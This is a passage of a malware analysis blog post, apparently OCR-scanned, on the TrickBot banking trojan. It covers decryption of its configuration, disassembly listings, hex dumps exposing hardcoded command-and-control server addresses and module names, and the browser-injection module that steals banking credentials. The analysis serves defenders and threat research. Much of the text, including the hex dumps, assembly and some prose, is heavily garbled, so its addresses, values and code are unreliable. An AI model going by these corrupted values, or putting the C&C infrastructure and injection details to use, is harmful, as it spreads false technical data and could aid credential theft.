Zhla Ty _<VEES 3
FE&EZASHE+$ AlpF
t.e.r.~ 0otk

L T R R R R
iege..cioan.fa..

And bytes from 16 to 48 are used as a initial value to derive AES initialization vector:

BA4E4AF 4
Ba4E4AF7
BE4E4AFC
BR4E4AFF
Ba4Ba4E88
BA4E4EE2
AA4E4BE4
HA4E4BES

< [

PUSH Gu28ac

LEA ECH,CLOCAL.2]

FUSH _ECH

LER ED, CLOCAL. 2]

FUSH EDX

FPUSH EBX

FPUSH ERX

CALL trick_bo.BB464348

[l ORI R I T

[MUU”EEX.EE&&EL.TH'”” -

ArgS = GEEASEEC
Argd = BE1ZFFIC
Args = BAL1ZFFAA
AirgZ2 = BEEAEEZA
Argl = EEZ192E2
hash_data

ERx=BAZ192ES

Address

Hex dump

ASCII

BRZ192ES
gBz13gcs

E2 E1 IE El BED 05 EE 40 4B 1E 17 FA 41 5O 78 46
BF 3C eB 48 EC AE 15 BR 4C BH D3 42 C7 6E 13 =23
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Compare with the content of CONFIG (mind the fact that the first DWORD is a size, and is not included in the

data):
- 00011420 (€O 02 00 OO0 Bl 57 &1 FF EF 1F 34 BB S5F 3C 7E 01 =« Wa 1 <~
L[ REL:E I  E YES E1 1E E1 BD D5 E6 4D 4B 1B 17 FA z E MK
Wap e @Ii1 5D 70 46 OF 9C 6B 485 5C A5 15 BA 4C BA D3 42 A]pF kH\ L B
00011400 | SERaapeiiENL0 SF BS E6 19 7F A& C3 &F DO 87 5E n #@_ I o -
000114E0 |39 FO E3 06 06 44 E4 C2 SR 26 FF TF 46 62 93 14 [_|| 9 D Zs [Fb

Full decoding script you can find here:

https://github.com/hasherezade/malware analysis/blob/master/trickbot/trick config_decoder.py

Decrypting hardcoded configuration using AES:

[EEET=ETRET . MO ERK, [LOCAL. 11
HE4@a4C49 . AOD ESF, Bl
HE4@a4C4C . LEA EDX, [LOCAL. =1
HE4@a4C4F . FUSH ED
bE4@a4c5a . FUSH EB:x

BE4A4C51 . FUSH Exi
HE4A4C52 . FUSH Eu1

HE4A4C55 . FUSH Eui
HE4A4C57 . FUSH ER:
HE4A4CE58 . Mo CLOCAL.S].ESI
HE4A4CER o CALL DWORD PTR OS:[<%A0VARPIZZ. CryptDecrypt ] aduapid2. CruptDecrupt

4
ERF=HEEEEEE 1

Address |Hex dump ASCIT

FEZ1SEES|BE B2 bR BA|BE BS 53 BA 3C 60 63 63 6F 6E 66 3E| A8...AS5.<mcoconf *
EEZ19EES[ B0 B 3C F¥6 65 72 SE 31 38 3@ 5@ 3@ 38 32 3C 2F| ..<{ver:1A8@aazd s
EEZ1SEVE|FE BE F2 S8E BD BA SC &7 74 &1 &7 3E 74 &0 74 32| werk..dgtag>tmt2
EEAZ1SE22|3C 2F 67 74 &1 &7 2E B0 BA 2C 73 65 72 76 73 3E| <~ gtagr..<cerus}
EEZ19E92( B0 B 3C 72 P2 76 SE 39 21 2E 32 31 29 2E 32 38| ..4srpwr91.219.28
EEZ1SEAS|2E 37 3F 30 34 24 33 3C 2F 73 v2 ¥6 3E B0 GA 3C| . FriddS<osrui. .4
GEZ1SEES| T2 72 76 3E 21 39 33 2E 39 2E 32 38 2E 32 34 3H| srwr193.9.28.24:
EEZ19ECE| 24 24 28 3C 2F 72 v2 ¥6 ZE B0 BA 3C F2 FZ2 76 SE| 443{rspuvi..<soul
EEZ19B05{ 38 87 2E 31 2E 32 3@ 39 2E 35 51 3A 34 34 33 3C| 3F.1.2A9.51:443
FEZ1SBES|2F 73 v2 ¥6 3E B0 BA 3C 73 72 76 3E 31 38 38 2E| Asrwi..<isrurl38.
FEZ19EFE( 232 2@ 31 2E 24 24 2E 32 38 2A 54 34 32 3C 2ZF 73| 281.44.28:443d 5
EEAZ19CES|F2 76 3E B0 BA 2C 73 72 76 2E 21 38 328 2E 21 31|\ rwr. . 4srwr188.11
EEZ19C1S( 26 2E 32 32 2E 29 38 30 24 24 33 3C 2F 72 72 F6|6.23.98: 443200
GEz19c=2(3E B0 BA 3C 72 72 v6 3E 21 28 34 2E 32 35 58 2E| r..<scwrlBd.25a,
EEZ19C25(31 33 38 2E 21 39 34 30 34 34 33 3C 2F 73 72 76| 138, 194:443< 500
EEZ19C45|3E B0 BA 3C F2 72 76 SE 34 36 ZE 32 32 ZE 22 31| ra.4spwidE.22.21
EEZ19CES(31 2E 32 34 3R 34 54 33 3C 2F 73 72 F6 3E B0 BA| 1.34:443< sruk..
EEZ19CES[3C 72 72 ¥6 3E 36 38 2E 31 37 39 2E 32 38 34 ZE| 4srwiEB. 179.234.
FEZ19C7E[236 89 SA 34 24 35 SC 2F 72 72 76 3E @D BA SC 72| A9:dd3d{-srul, .45
EEZ19Ces|F2 76 3E 35 2E 21 32 2E 22 28 ZE 38 20 24 24 33| rwrE.12.28.8:443
EEZ19C92(3C 2F 723 P2 P& 2E B0 BA 3C 72 72 76 3E 32 36 ZE|<ssrwi. . dsrur36,
GEZ19CAS[33 37 2E 31 3F 36 2E 36 3A 34 34 33 3C 2F 73 72| 3F.17V6.6: 4434 51
GEZ1SCES|F6 S3E B0 BA 3C 73 72 76 3E 32 37 2E 21 38 39 ZE|wr..<scuwr37. 189,
EEZ1CCE[ 85 82 2E 37 25 2A 24 34 33 3C ZF 72 V2 76 SE B0 52, FEridd3<ssrul,
EEZ1COS{BA 8C 73 F2 F6 3E 82 3F 2E 32 8@ 38 ZE 31 33 31| .<{srwiEv.288.131
FEZ1SCES|2E 89 3F 3A 34 34 33 3C 2F 72 v2 76 3E B0 BA 3C| .9F:dd38< sruk. .4
FEZ1SCFE|2F 78 65 F2 F& 78 SE B0 BA 3C &1 FE 74 EF 72 75| fserusi. .<autoru
EEZ190E2(6E 2E B0 BA 2C 60 &6F &4 75 EC &5 28 EE &1 &0 E5|n>..<modyle name
EEZ19012(230 22 72 79 P2 74 65 60 &9 EE 66 6F 22 26 &3 74| =Mzysteminfo™ ot
GEzis0zs{6C 230 22 47 65 74 53 79 72 74 &5 &0 49 E6E &6 &F | |=""GetSustemInfo
EEZ19025( 22 2F 3E 80 BA 2C &0 6F &4 75 &C 65 28 6E &1 &0 "~ r..<module nam
EEz1e045( 65 20 22 69 E6E 6A &5 62 ¥4 44 &C 6C 22 2ZF 2E 80| e="injectOl L™k,
FEZ1S055(BA 8C 2F 61 F5 74 6F 72 F5 6E SE B0 BA 3C 2F 60| < autoruni. «<4m
PEC15055|63 63 6F GE €6 3E B BS 50 32 £9 98 5B 9 1C D4| cconfrAsta0ilrd

In case if particular input could not be decrypted via AES, the attempt is made to decrypt it via ECC:
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™ E
BOL 4T 5A mov edx, [ebp+dwbatalen]
BOLB4TED push ehx
BOLBLTHE push BABDh ; Algid - CALG_SHA_384
B4 BLTS 1ea eax, [ebpruvar_14]
B4 BLTS6 push eax v int
BOLBLTST mov eax, [ebpepbhatal]
POLBLTSA 1ea ecx¥, [ebp+lpHen]
L B4 BLTSD push PCX ; int
PB4 BLTSE push edx ; duDatalen
B4 BNTSF push eax + pbData
ae4BLTeR call _hash_data
BO4BLTES mov ebx, [ebp+lpHen]
BBLBLTHE test eax, eax
BBLBLTEA jz loc_&B47FA
h J
e
B4 A4TTE push esi
DBy B4TT1 push esi
ABLANFF2 push offset aEcdsa_pa84 ; “LCDSA_Pass”
aBuBNTTF lea ecx, [ebp+var H]

apuasT IR push BCH
PBLBYTTE call dword_4137F0
Doy BLTE !est Bax, eax

DBLBYTREI s short loc_ 4B4TFA
v
F™E]
ABLBYTES mou eax, [edi]
BOLBYTRT mov edx, [eax+i]
BOLBLTER mov eax, [eax]

BOLBLTEC push esi
apLuByrED push edx

BO4BNTEE mou edx, [ebp+uar 8]
BB4BNT91 push pax
DRNBNTYZ lea ecx, [ebp+uar W]

BBuBNTYS push BCX
BpuBATR6 push offset aEccpublicbleb :© “ECCPUBLICELODE"

Trick Bot’s configuration

Similarly to Dyreza, TrickBot uses configuration files, that are stored encrypted.

Trick Bot’s executable comes with a hardcoded configuration, that, during execution is substituted by its fresh
version, downloaded from the C&C and saved in the file config.conf. Below you can see the decrypted content of

the hardcoded one:
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447#file-mcconf-xml

Compare it with a downloaded one — version number got incremented, and some C&Cs have changed:
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447#file-mcconf2-xml

Notice that names of the listed modules (systeminfo, injectDIl) are corresponding to those, that we found in the
folder Modules during the behavioral analysis. It is due to the fact, that this configuration gives instructions to the

bot, and orders it to download particular elements.

Some of the requests result in downloading additional pieces of configuration. Example of the response, after

being decrypted by the bot:
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447#file-servconf-xml

Modules
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TrickBot is a persistent botnet agent — but its main power lies in the modules, that are DLLs dynamically fetched

from the C&C. During the analyzed session, the bot downloaded two modules.

o getsysinfo — used for general system info gathering

e injectDIl — the banker module, injecting DLLs in target browsers in order to steal credentials

List of the attacked browser is hardcoded in the injectDI1132.dll:

OPERAT IOM {UM_RERD IRITE | HUERY_IMFORMATION

HORT inj
EDI,EDI
HORT in

It case of the Dyreza, this attack was performed directly from the main bot, rather than from the added DLL.

Details of the attacked target are given in an additional configuration file, stored in the folder:

ModulesinjectDII32_config. Below we can see its decrypted form revealing the attacked online-banking systems:
https://gist.github.com/hasherezade/0c464f970018f509444243b67a0c5447#file-dinj-xml
The instances of svchost.exe, observed during the behavioral analysis, are used to deploy particular modules.

Below — the module injectDIl (marked sinj) in memory of svchost:

[B] Dump - 10000000..10081 FFF [B] Dump - 00190000..00190FFF
P08 40 SA S8 BB 5 0o Bo| 84 @2 5| FF FF 88 @2 aE190RAa 73 63 6E 6A| BB 66 06 PRlon B8 BE 66|60
bbb
G50 08 B8 B 0O G 00 68| B8 Ba G| F2 B8 09 o . [D] Dump - 00080000. 00080FFF
046 GE 1F EA 4 @3 CD[21 BS @1 4C(ch 21 54 &3 £ VE 63 63| €5 7S TS BE|00 03 0O 08|89
856 &9 P3 20 78 F 67 72|61 €D 2B 53|61 GE EE £F 8 6O 00 BB| 0O B8 PO B8 6O A3 BB 3|88
G660 74 2B £2 £5|2B 72 75 EE|2B £9 6E 20(44 4F E5 20 ¢ B BB 00 BE| 0O 0O BO OGO 60 6O 60|60
878 50 &F 64 £5|2E BD BD BA| 24 BN AG BB| 00 BE B9 E8 GG G0 GO 6B G0 0O 0O 00|00 A8 BB BE|AE
936 1C 57 E4 €4|55 3B 8A 5r|5S 3B 5A I¢|58 S5 8A I 68 BB 0O 65|09 BY £9 EE| B0 B DY 00|09
596 55 69 £E 37|72 2B A Zp7|S5 £9 55 Sv[42 2B 8A I 88 BB G0 BB|EO BE PO 8|60 A3 BB 3|88
8RB E5 £3 &A 27|20 3B 2A 27|85 C4 41 27F(ED 2B 2A 27 BB 00 G0 G806 Ao GG 0E(00 A8 oS oo|aa
BB 55 35 5B 37|31 3B A 57|ED AS 6F 57|5C 3B 8A 37 GG G0 G0 GB|G0 OO 0O 00|00 A8 BB BE|GE
BCE ED AS 56 37 2B SA 37|55 &2 T[22 3B 2R 37 V. FH BE A0 AR BE A0 AR BE( @0 AR OE 0|68
g 606 E0 AS 54 27|53 38 2A 27|52 €9 2|62 2B 2R 27 68 GO 00 6|00 0O 6O 55|60 6 0O 8|60
7 CEG 0B 00 00 0O 5 0@ B8l g 69 2| Be BE 68 GO 60 GO GO BG( 66 6O 6O 5|06 63 05 68| EE
i EF6 0F 66 5O 60 5 68 BE(58 45 B[ 4L Bl 8BS Ea 68 P 0O BE| 09 BY DO EE| D0 B8 DY 00| oD
7 188 BF 92 FB 57 0 e 86l 88 eg 6l E6 B8 62 21 CA BB BA 68 BO|EE DO A BO|AA BB 09 B9| 68
b 110 68 b1 6C 69 E 01 88|88 OC 5) 80 B3 68 GO 68 GO 00 6|00 0O 6O 55|60 6 0O 8|60
3 120 ZF &7 0@ 5 an Galees 26 5/ 6 83 88 18 68 GO 00 BG(00 BE 0O BE|00 63 GO 68|69
7 130 02 16 98 68 2 @a 68| o B9 0l g0 68 &5 @a . . OFE BE 98 OO 68| EE 0f BB £9|B0 5O BE Dol e
Y 1AR AR AR AR ARL AR AR AR ARL AR AR AR AAT AR

and the module systeminfo (marked GetSystemInfo) in memory of the another instance of svchost:
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= || = [ 28

T s
G0 03 03 06|59 0 00 06| 60 O 03 06|89 64 6o [B] Dump - 00020000..00020FFF
B8 BE BE| 66 05 GO G666 60 @ B[ Ea =51 6E
OE IF EA OE|90 B4 93 CO|21 B2 B1 4C|C0 21 G4 I1A.4.=¥S6L=1Th | GpgZao1a 0B 0O OO 68|60 OO O D00 AD BB 0O| OO BA D BB ..o
E9 72 20 FB| 72 6F &7 V2|61 €D 20 £2| &1 EE EE is Dr‘ogr‘am canno
EEE IR EL R EEE PO
I E T R
4 L
B 04 36 OF 91|08 A 21| BF 4 & 21|BS dF 47 31 aEREmMTreEranr AR R s O B B3 i i T e e T W
D4 36 D3 91|0F A 91|04 36 C9 91|E1 4E 4R 91 de! CNICHERCENIC || SR0rance Ga oF o G8| o5 o0 ob o8| o8 o8 5 65
co 1E 41 17 91|08 A 21100 4 45 oL|Er 4E 3 31 ASLANCINCCENC || GAnconsa o on 2n ool on on oa odlon on oo ag
H G2 e | B BN\ £ R ERIER o FACalC b pC2 N0 || GpCandn £A B0 08 60|00 6O 6O 666 B 6d 68
BED CZ 1C DS 21|0C A 91| C3 1C D 1(DC 4E 4R h_éL-NdL I‘I-IL-NJL DEACHASE BR B0 D9 QD 0D DO DO 0G| 9 B0 BB GO
BFE 52 &2 &3 &2|00 A 91|68 @8 ol a(aa B8 ea RlchTNdL DEACAREE BR B0 D9 QD 0D DO DO OB| 9 B9 BB GO
o8 5 a8 B Bles B (S o B8 8 ER e GOACOATE GO GO G0 BO| 06 O 0O 0O(0A 0 08 6O
6 00 22 0B 08|60 G 88| 19 19 o HEERER : HEACOEZE B 0O 08 B0 08 BA DO 90|88 04 08 Bg
%0 o0 40 00 09|00 0 99 10 00 10 b Dol 6o oz 00 BBoConD by bb oo bg| bb 5o oo ba|ab ba ba oo op 0o £o b2
48 5 08 65 06| 6D b6 BB 66|65 B b3 6B|00 8B 0O Boaroao haDa R AlBR BB ER EAEREA AR AR RAER A -
.
Conclusion

Trick Bot have many similarities with Dyreza, that are visible at the code design level as well as the
communication protocol level. However, comparing the code of both, shows, that it has been

rewritten from scratch.

So far, Trick Bot does not have as many features as Dyreza bot. It may be possible, that the authors intentionally
decided to make the main executable lightweight, and focus on making it dynamically expendable using

downloaded modules. Another option is that it still not the final version.

One thing is sure — it is an interesting piece of work, written by professionals. Probability is very high, that it will

become as popular as its predecessor.

Appendix

http://www.threatgeek.com/2016/10/trickbot-the-dyre-connection.html — analysis of the TrickBot at Threat Geek
Blog

This was a guest post written by Hasherezade, an independent researcher and programmer with a strong interest
in InfoSec. She loves going in details about malware and sharing threat information with the community. Check

her out on Twitter @hasherezade and her personal blog: https://hshrzd.wordpress.com.

Source: https://blog.malwarebytes.com/threat-analysis/2016/10/trick-bot-dyrezas-successor
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